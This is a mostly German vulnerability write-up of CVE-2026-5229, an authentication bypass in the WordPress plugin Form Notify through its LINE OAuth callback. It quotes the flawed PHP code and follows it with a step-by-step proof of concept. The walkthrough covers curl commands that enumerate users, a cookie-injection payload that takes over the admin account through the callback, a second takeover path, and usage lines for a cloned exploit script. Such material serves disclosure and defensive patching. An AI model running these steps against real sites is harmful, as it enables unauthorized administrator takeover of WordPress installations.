
CVE-2026-5229: Form Notify Auth-Bypass über LINE OAuth Callback (CVSS 9.8)
CVE-2026-5229: Form Notify Auth Bypass via LINE OAuth Callback (CVSS 9.8)
Plugin: Form Notify (
form-notify) Schwachstellentyp: Unauthenticated LINE OAuth Authentication Bypass → Account Takeover CVSS Score: 9.8 (Critical) CVSS Vector:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HBetroffene Versionen: <= 1.1.10 Gepatchete Version: 1.1.11+ Forscher: Paolo Tresso — Wordfence
Das Form Notify Plugin ist ein WordPress-Plugin, das Benachrichtigungen nach Formularübermittlungen sendet und eine LINE Login OAuth 2.0-Integration bereitstellt.
Die Schwachstelle befindet sich im LINE OAuth Callback-Handler. Nachdem der Benutzer den LINE-Autorisierungsablauf abgeschlossen hat, löst das Plugin das WordPress-Konto nur anhand der E-Mail-Adresse auf. Ob das LINE-Konto bereits mit diesem WordPress-Konto verknüpft wurde, wird nie überprüft.
| Version | Schwachstelle | Angriffsmethode |
|---|---|---|
| <= 1.1.08 | Cookie-Injection + E-Mail-Match | Pfad A oder Pfad B |
| 1.1.09 – 1.1.10 | E-Mail-Match (Cookie entfernt) | Pfad B |
| 1.1.11+ | Gepatched | — |
Der LINE OAuth Callback-Endpunkt ist vollständig öffentlich registriert:
// src/APIs/Line/Login/Route.php
register_rest_route(
'form-notify/v1',
'/callback',
array(
'methods' => 'GET',
'callback' => array( $this, 'get_api_callback' ),
'permission_callback' => function () {
return true; // keine Authentifizierung erforderlich
},
)
);
WordPress-Nonces sind CSRF-Token, keine Authentifizierungs-Token. Jeder Besucher kann einen gültigen Nonce aus dem HTML der Seite holen und die Prüfung bestehen.
// Route.php — lines 115–116
$has_real_email = ! empty( $user->email );
$user_email = $has_real_email ? $user->email : $user_raw_id . '@line.com';
// User.php — is_member()
public function is_member( string $user_email, string $user_avatar ): bool {
$this->user = get_user_by( 'email', $user_email ); // nur Suche per E-Mail
if ( ! is_wp_error( $this->user ) && $this->user ) {
return true; // KEINE Verknüpfungsprüfung
}
return false;
}
Wenn eine Übereinstimmung gefunden wird, öffnet die Methode login() sofort eine Sitzung:
// User.php — login()
public function login( string $user_raw_id, string $user_email, ... ): void {
if ( ! is_user_logged_in() ) {
wp_clear_auth_cookie();
wp_set_current_user( $this->user->ID );
wp_set_auth_cookie( $this->user->ID, true, is_ssl() );
}
}
// Route.php (1.1.08) — lines 115–118
if ( isset( $_COOKIE['form_notify_line_email'] ) ) {
$line_email = sanitize_text_field(
wp_unslash( $_COOKIE['form_notify_line_email'] )
);
}
$user_email = ( $user->email ) ? $user->email : $line_email;
Wenn das LINE-Profil keine E-Mail zurückgibt ($user->email leer), liest das Plugin
direkt das Browser-Cookie aus.
Der Angreifer hat dieses Cookie vollständig unter Kontrolle.
$session_state = get_transient( 'form_notify_line_state_' . $state );
if ( empty( $session_state ) ) {
// Falls Transient nicht vorhanden, fällt auf $_SESSION zurück
$session_state = sanitize_text_field(
wp_unslash( $_SESSION[ 'form_notify_line_state_' . $state ] )
);
set_transient( 'form_notify_line_state_' . $state, $state, 60 * 60 );
}
Wenn der Transient abgelaufen ist, greift der $_SESSION-Fallback.
Bei den meisten WordPress-Installationen ist $_SESSION an dieser Stelle nicht gesetzt →
Der State-Check kann umgangen werden.
// sign_up()-Methode
$userdata = array(
'user_pass' => $user_email, // Passwort = E-Mail-Adresse
...
);
Bei Konten, die über den LINE OAuth-Ablauf erstellt wurden, ist das Passwort identisch mit der E-Mail-Adresse. Dies erlaubt direkte Brute-Force- oder Login-Angriffe.
| Grund | Beschreibung |
|---|---|
| Keine Authentifizierung erforderlich | Callback-Endpunkt vollständig öffentlich |
| Keine Verknüpfungsprüfung | Jedes LINE-Konto ausreichend |
| Cookie-Angriff | <= 1.1.08 nicht einmal E-Mail nötig |
| Alle Konten inkl. Admin | get_user_by('email') betrifft alle |
| Schwache State-Kontrolle | CSRF-Schutz umgehbar |
| E-Mail = Passwort | Über OAuth geöffnete Konten trivial brute-force-angreifbar |
⚠️ Disclaimer: This PoC is provided for educational and authorized security testing purposes only. Testing against systems without explicit permission is illegal.
Voraussetzungen:
TARGET="https://target.com"
# WordPress REST API: Benutzerliste
curl -s "$TARGET/wp-json/wp/v2/users" | python3 -m json.tool
# Oder Author-Seiten
curl -s "$TARGET/?author=1" -I | grep Location
Browser-Entwicklertools öffnen und in die Konsole einfügen:
document.cookie = "[email protected]; path=/";
Oder mit curl:
curl -v -b '[email protected]' \
"$TARGET/wp-json/form-notify/v1/login" 2>&1 | grep Location
Die LINE OAuth-URL aus dem Location-Header im Browser öffnen.
Auf dem LINE-Zustimmungsbildschirm die E-Mail-Berechtigung nicht erteilen oder ein LINE-Konto ohne E-Mail verwenden. LINE leitet ohne E-Mail an den Callback weiter. Das Plugin fällt auf das Cookie zurück.
curl -s -b 'wordpress_logged_in_XXXX=...' \
"$TARGET/wp-json/wp/v2/users/me" | python3 -m json.tool
Erwartete Antwort:
{
"id": 1,
"name": "admin",
"email": "[email protected]",
"roles": ["administrator"]
}
Wie Schritt 1 von Pfad A.
Auf account.line.biz ein LINE-Konto mit der Ziel-E-Mail erstellen.
(E-Mail-Verifizierung erforderlich — Zugriff auf das Ziel-Postfach notwendig.)
https://target.com/wp-json/form-notify/v1/login
Auf dem LINE-Zustimmungsbildschirm die E-Mail-Berechtigung erteilen. LINE gibt die E-Mail-Adresse an den Callback zurück.
Plugin: is_member('[email protected]')
→ get_user_by('email', '[email protected]')
→ Administrator gefunden
→ wp_set_auth_cookie(1)
→ Sitzung geöffnet ✓
git clone https://github.com/kullanici/form-notify-bypass
cd form-notify-bypass
pip install -r requirements.txt
requirements.txt
requests
python form_notify_rce.py -u http://ziel.com
python form_notify_rce.py -u http://ziel.com \
--email [email protected] \
--path A
python form_notify_rce.py -u http://ziel.com \
--email [email protected] \
--path B